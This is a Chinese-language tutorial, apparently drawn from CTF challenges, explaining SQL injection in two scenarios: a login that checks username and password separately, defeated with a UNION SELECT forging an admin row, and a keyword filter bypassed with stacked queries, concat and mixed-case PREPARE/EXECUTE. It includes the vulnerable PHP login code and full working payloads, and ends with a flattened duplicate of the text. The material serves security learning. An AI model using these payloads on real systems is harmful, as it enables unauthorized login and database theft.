两种特殊场景的sql注入思路介绍
字数 979 2025-08-15 21:32:43

SQL注入高级技巧:两种特殊场景的突破方法

0x01 用户名与密码分开验证的注入方法

场景分析

在常规SQL注入中,我们通常使用admin' --admin' #来注释掉密码验证部分。但当系统采用用户名和密码分开验证的机制时,这种方法就会失效。

代码分析

function auth2_onLogin(WC_Challenge $chall, $username, $password) {
    $db = auth2_db();
    $password = md5($password); // 密码进行MD5加密
    $query = "SELECT * FROM users WHERE username='$username'";
    
    // 查询用户是否存在
    if (false === ($result = $db->queryFirst($query))) {
        echo GWF_HTML::error('Auth2', $chall->lang('err_unknown'), false);
        return false;
    }
    
    // 密码验证(新增检查点)
    if ($result['password'] !== $password) {
        echo GWF_HTML::error('Auth2', $chall->lang('err_password'), false);
        return false;
    }
    
    // 验证通过
    echo GWF_HTML::message('Auth2', $chall->lang('msg_welcome_back', array(htmlspecialchars($result['username']))), false);
    
    // 如果是admin用户则解题成功
    if (strtolower($result['username']) === 'admin') {
        $chall->onChallengeSolved(GWF_Session::getUserID());
    }
    return true;
}

突破方法:联合查询注入

由于系统先查询用户名,再单独验证密码,我们需要构造一个查询结果,使其包含我们指定的用户名和密码。

  1. 了解表结构

    CREATE TABLE IF NOT EXISTS users (
        userid INT(11) UNSIGNED AUTO_INCREMENT PRIMARY KEY,
        username VARCHAR(32) CHARACTER SET utf8 COLLATE utf8_general_ci NOT NULL,
        password CHAR(32) CHARACTER SET ascii COLLATE ascii_bin NOT NULL
    ) ENGINE=myISAM;
    
  2. 构造联合查询

    SELECT * FROM users WHERE username='1' union select 1,'admin',md5('123');#
    
    • 1:伪造的userid
    • 'admin':伪造的用户名
    • md5('123'):伪造的密码(预先计算MD5值)
  3. 实际注入

    • 用户名输入:1' union select 1,'admin',md5('123');#
    • 密码输入:123(与伪造的MD5值对应)

0x02 关键字被过滤的注入方法

场景分析

当系统过滤了selectupdatedeletedropinsertwhere等关键词时,常规注入方法失效。

突破方法:堆叠查询+预编译

  1. 使用堆叠查询获取数据库信息

    -1';show tables;#
    

    返回所有表名。

  2. 查看表结构

    -1';show columns from `words`;show columns from `1919810931114514`;#
    
    • 注意:纯数字表名需要用反引号`包裹
  3. 预编译绕过关键字过滤

    -1';sEt @sql=concat("sel","ect * from `1919810931114514`;");pRepAre ATL from @sql;execute ATL;#
    
    • 使用concat拼接被过滤的关键字
    • 使用大小写混合绕过strstr()过滤(如sEtpRepAre
    • 执行预编译语句获取flag

预编译详细用法

  1. 准备预编译语句:
    prepare [语句名] from 'select * from users where userid=?'
    
  2. 设置变量:
    set @[变量名]='3'
    
  3. 执行语句:
    execute [语句名] using @[变量名]
    

0x03 关键知识点总结

  1. 联合查询注入

    • 适用于查询结果被单独验证的场景
    • 需要了解表结构和字段数量
    • 使用union select构造伪造数据
  2. 堆叠查询

    • 使用分号;执行多条SQL语句
    • 可配合show tablesshow columns获取数据库结构
  3. 预编译绕过过滤

    • 使用concat拼接被过滤的关键字
    • 通过预编译执行拼接后的SQL语句
    • 大小写混合绕过简单过滤
  4. 特殊表名处理

    • 纯数字或包含关键字的表名/列名需要用反引号包裹
    • 例如:`1919810931114514`
  5. MD5密码处理

    • 当系统对密码进行MD5处理时,构造的密码也需要预先计算MD5值

这些高级技巧需要在实际场景中灵活组合使用,才能突破各种防护措施。理解每种方法的原理和适用场景,比单纯记忆payload更为重要。

SQL注入高级技巧:两种特殊场景的突破方法 0x01 用户名与密码分开验证的注入方法 场景分析 在常规SQL注入中,我们通常使用 admin' -- 或 admin' # 来注释掉密码验证部分。但当系统采用用户名和密码分开验证的机制时,这种方法就会失效。 代码分析 突破方法:联合查询注入 由于系统先查询用户名,再单独验证密码,我们需要构造一个查询结果,使其包含我们指定的用户名和密码。 了解表结构 : 构造联合查询 : 1 :伪造的userid 'admin' :伪造的用户名 md5('123') :伪造的密码(预先计算MD5值) 实际注入 : 用户名输入: 1' union select 1,'admin',md5('123');# 密码输入: 123 (与伪造的MD5值对应) 0x02 关键字被过滤的注入方法 场景分析 当系统过滤了 select 、 update 、 delete 、 drop 、 insert 、 where 等关键词时,常规注入方法失效。 突破方法:堆叠查询+预编译 使用堆叠查询获取数据库信息 : 返回所有表名。 查看表结构 : 注意:纯数字表名需要用反引号 ` 包裹 预编译绕过关键字过滤 : 使用 concat 拼接被过滤的关键字 使用大小写混合绕过 strstr() 过滤(如 sEt 、 pRepAre ) 执行预编译语句获取flag 预编译详细用法 准备预编译语句: 设置变量: 执行语句: 0x03 关键知识点总结 联合查询注入 : 适用于查询结果被单独验证的场景 需要了解表结构和字段数量 使用 union select 构造伪造数据 堆叠查询 : 使用分号 ; 执行多条SQL语句 可配合 show tables 、 show columns 获取数据库结构 预编译绕过过滤 : 使用 concat 拼接被过滤的关键字 通过预编译执行拼接后的SQL语句 大小写混合绕过简单过滤 特殊表名处理 : 纯数字或包含关键字的表名/列名需要用反引号包裹 例如: `1919810931114514` MD5密码处理 : 当系统对密码进行MD5处理时,构造的密码也需要预先计算MD5值 这些高级技巧需要在实际场景中灵活组合使用,才能突破各种防护措施。理解每种方法的原理和适用场景,比单纯记忆payload更为重要。